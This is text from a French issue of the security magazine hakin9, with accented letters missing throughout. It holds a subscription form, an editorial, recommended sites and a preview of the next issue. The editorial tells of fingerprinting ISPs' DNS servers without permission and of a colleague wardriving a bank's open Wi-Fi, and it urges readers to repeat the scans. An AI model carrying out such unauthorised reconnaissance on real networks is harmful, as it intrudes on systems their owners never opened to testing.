Programmation sous Linux (1 CD)
Bimestriel ddi la programmation sous Linux
6 38
.PSD (2 CDs)
Bimestriel pour les utilisateurs dAdobe Photoshop
6 39
Je rgle par :
Carte bancaire n CB expire le date et signature obligatoires
type de carte .......................................................................... code CVC/CVV
Virement bancaire :
Nom banque : Socit Gnrale Chasse/Rhne
banque guichet numro de compte cl Rib
30003 01353 00028010183 90
IBAN : FR76 30003 01353 00028010183 90
Adresse Swift (Code BIC) : SOGEFRPP
Total
hakin9 N 6/2005 www.hakin9.org 80
ditorial
A
h, le confort des e-banques. Il y a quelques
jours, mon bailleur m'a apport quelques fac-
tures payer. Oh, non, j'ai pens, pas encore
un dplacement ma banque, pas encore une heure
passe dans la fle d'attente pour payer cette satane
facture. Mais ensuite, je me suis souvenu que ma
banque (je ne prcise pas le nom pour des raisons
de scurit !) vient d'ouvrir un accs aux comptes tra-
ditionnels via Internet. Et je me suis rappel m'y tre
inscrit. Hourra ! Il a sufft quelques minutes pour payer
mes factures. Mais ensuite, je me suis rappel une
autre chose : le phishing, le pharming. Et je me suis
tout de suite senti mal l'aise.
L'article sur l'empoisonnement du DNS paru dans le
dernier numro de hakin9 m'a vraiment inspir. Le lende-
main, cach en toute scurit derrire l'adresse IP de la
socit (si jamais quelque chose va mal, je peux toujours
dire que je testais un tutoriel ou un truc dans ce genre),
j'ai dploy mon navigateur, j'ai charg Google et com-
menc me balader ici et l, la recherche d'un outil de
rcupration de donnes sur DNS. J'ai rellement voulu
m'assurer que les plus grands serveurs cache DNS sont
scuriss et j'esprais que leurs administrateurs savaient
que BIND n'tait pas bien et que je trouverais de nom-
breuses installations de djbdns. Ils doivent tre au moins
aussi prudents que moi, me suis-je dit. J'ai remplac
BIND par djbdns il y a deux ans dj ; ils ont certainement
d le faire aussi.
Enfn, je suis tomb sur fpdns.pl, un petit script perl
qui semble reconnatre assez bien le logiciel DNS uti-
lis, en se basant sur son empreinte. Dans un premier
temps, j'ai donc vis les plus grands fournisseurs polo-
nais de caches DNS (je peux donc affrmer que plus
de la moiti des utilisateurs d'Internet en Pologne se
servent de ces deux caches). Boum ! BIND9. Ce n'est
pas mal mais ce n'est pas trs bien non plus. Ensuite,
j'ai cibl les caches DNS d'autres grands fournisseurs.
J'ai mis cinq minutes pour trouver une installation
BIND8 sur le plus grand rseau cbl de Varsovie.
Ouh ! J'espre que leurs utilisateurs ne se servent pas
de ce cache DNS. Qui le risquerait en sachant que le
cache peut tre empoisonn en environ trois cents
paquets envoys ?
Faites attention votre
argent
Au bout d'une demi heure, j'ai commenc m'en-
nuyer mais les rsultats taient intressants. Les plus
grands caches DNS se servent de BIND9 mais seu-
lement certains d'entre eux disposaient des versions
les plus rcentes. J'ai trouv deux installations BIND8
utilises en caches DNS de fournisseurs Internet trs
connus. Un seul fournisseur employait PowerDNS
et une seconde tentative pour rcuprer l'empreinte
a t manifestement bloque par un IDS (trs bon
boulot, les administrateurs !). Je n'ai trouv aucune
installation djbdns. Enfn, si on ne prend pas en compte
mes propres serveurs, bien videmment. Mais... C'est
comme si on disait coucou, les pharmers ! Nous
sommes ici ! Prenez-nous avec vous ! Chers lecteurs,
pourquoi ne pas essayer vous-mmes et partager des
rsultats intressants avec nous ?
Ensuite, on m'a racont une autre histoire qui a fait
bouillir mes neurones. Un de mes collgues, dont le
passe-temps favori consiste prendre le bus avec son
ancien ordinateur portable (quip, bien videmment
d'une carte WiFi) m'a fait partager certains de ses
trouvailles concernant wardriving (ou plutt warbu-
sing vu qu'il prend le bus ?). Il est pass par hasard
(oui, par hasard) prs d'une agence de la deuxime
plus grande banque polonaise et surprise, surprise
Kismet a dtect un rseau sans fil. Crypt ? Vous
rigolez ! Et devinez quel tait le type de SSID ? link-
sys, bien videmment. Ouh. Pourquoi alors se proc-
cuper de multiples niveaux de protections dans les
e-banques si un administrateur d'une agence locale,
qui n'a mme pas chang le SSID par dfaut, laisse le
rseau interne d'une banque largement ouvert tout
passant ?
Le point d'bullition de mes neurones a t atteint.
J'ai donc russi arriver certaines conclusions. La con-
clusion la plus logique est de rcuprer le plus rapide-
ment possible tout mon argent de la banque et le cacher
sous un coussin. Il semble qu'il y sera plus en scurit
que dans n'importe quelle autre institution ayant des liens
avec des ordinateurs.
Et je me sentais tellement bien le jour prcdent... l
Tomasz Nidecki
http://www.virtuelnet.net
Construit sur des serveurs FreeBSD et Linux
Informations sur UNIX, Linux, Windows, les r-
seaux Hbergement libre sur serveurs libres.
Actualits, astuces, optimisation, personnalisa-
tion windows, scurit, visuels et tlcharge-
ment de logiciels, jeux et captures.
http://www.smtechnologie.com
http://www.cccure.net
http://www.vulnerabilite.com
Vulnerabilite.com est le portail francophone
ddi a la scurit des systemes dinformation
pour les DSI, RSSI et dcideurs informatique.
VirusTraQ.com est un observatoire francopho-
ne sur les virus informatiques, le spam et les
applications indsirables (spyware/adware).
http://www.virustraq.com
Le Portail Qubcois de la Scurit Des Sys-
temes. Site de nouvelles, forums, tlcharge-
ments, liens scurit, et conseils.
http://www.puissance-pc.net
Toute lactualit informatique, les dernieres
adresses, et beaucoup dautres fonctionnali-
ts, tout ceci gr par une quipe dynamique.
http://www.hackisknowledge.org
HackIsKnowledge est un site dentreaide la
scurit informatique. Le webmaster vous pro-
pose audits gratuits, forum, download.
SecuriteInfo.com, un des sites web leaders de
la scurit informatique francophone, propose
ses services aux professionnels depuis 2004.
http://www.securiteinfo.com
Wulab spcialise dans la scurit des appli-
cations web par letude des techniques datta-
ques et en crant des moyens de dfense.
http://www.wulab.com
Corporate Hackers fournit services et solutions
dans le domaine de la scurit des nouvelles
technologies.
http://corporatehackers.com
http://www.ze-linux.org
Cre par Terence DEWAELE, Ze-Linux a pour
but daider la communaut franaise a utiliser
GNU/Linux: Forums, Liste, News.
S
it
e
s
re
c
o
m
m
a
n
d

s
>
>
>
Sites recommands
Abc de la scurit informatique : Portail ddi a
la protection utilisateurs, la prvention et lano-
nymat sur micro et rseaux.
http://abcdelasecurite.free.fr
Voulez-vous recommander votre site ? Contactez-nous : fr@hakin9.org
Pour voir les informations actuelles sur le prochain numro,
visitez la page http://www.hakin9.org/fr
Ce numro sera disponible en vente dbut janvier 2006.
La rdaction se rserve le droit de modifer le contenu de la revue.
hakin9 1/2006
Dans le numro suivant, vous
trouverez, entre autres :
Prochainement
Scurit des WPA/WPA2
Les rseaux sans fl sont plus faciles sniffer et pntrer que les rseaux
classiques. Cest pourquoi, des moyens spcifques sont ncessaires pour
tenir les intrus lcart. Guillaume Lehembre parle des standards WPA et
WPA2 pour la protection des rseaux Wi-Fi, des attaques et faiblesses
potentielles, en dcrivant, comment celles-ci peuvent tre effectues.
Rootkits dans Oracle
Bien que cela puisse paratre tonnant, les rootkits sont capables de fonc-
tionner non seulement dans les systmes dexploitation, mais aussi dans les
systmes de base de donnes. Ils dissimulent les utilisateurs, les processus
ou les procdures. Larticle dAlexander Kornbrust montre comment fonction-
nent les rootkits dans le systme de base de donnes Oracle, comment les
dtecter et comment crire les applications de base de donnes pour emp-
cher linstallation des rootkits par un intrus.
Implanter la norme ISO/CEI 17799:2005 en
entreprise
Une rvision majeure de la norme internationale ISO/CEI 17799:2005
a vu le jour en juin 2005. Ce code de bonne pratique pour la gestion de la
scurit de linformation donne de grandes orientations rparties sur onze
chapitres. Cest a vous de dfnir comment limplanter. Christophe Reverd
en dcode les aspects essentiels pour vous aider la mettre en pratique
en entreprise.
Scurit du serveur Windows 2003
Avec lapparition de Windows 2003, beaucoup de rseaux dentreprises sont
passs une nouvelle gnration de serveur Microsoft. Mais Windows 2003
est-il vraiment sr ou bien trane-il les mmes faiblesses que ses prdces-
seurs ? Rudra Kamal Sinha Roy prsente quels sont les principaux probl-
mes avec Windows 2003 et que peuvent faire les administrateurs pour rendre
leurs serveurs plus srs.
Dtourner un frewall
Le pare-feu est la premire ligne de dfense protgeant tout le rseau contre
les attaques malicieuses. Pourtant, un pare-feu a aussi ses points faibles et
peut tre dtourn. Oliver Karow enseigne comment les pare-feux peuvent
tre dtects et montre quels problmes dans leur confguration facilitent ce
dtournement.
Dossier
Focus
Pratique
Fiche technique
Fiche technique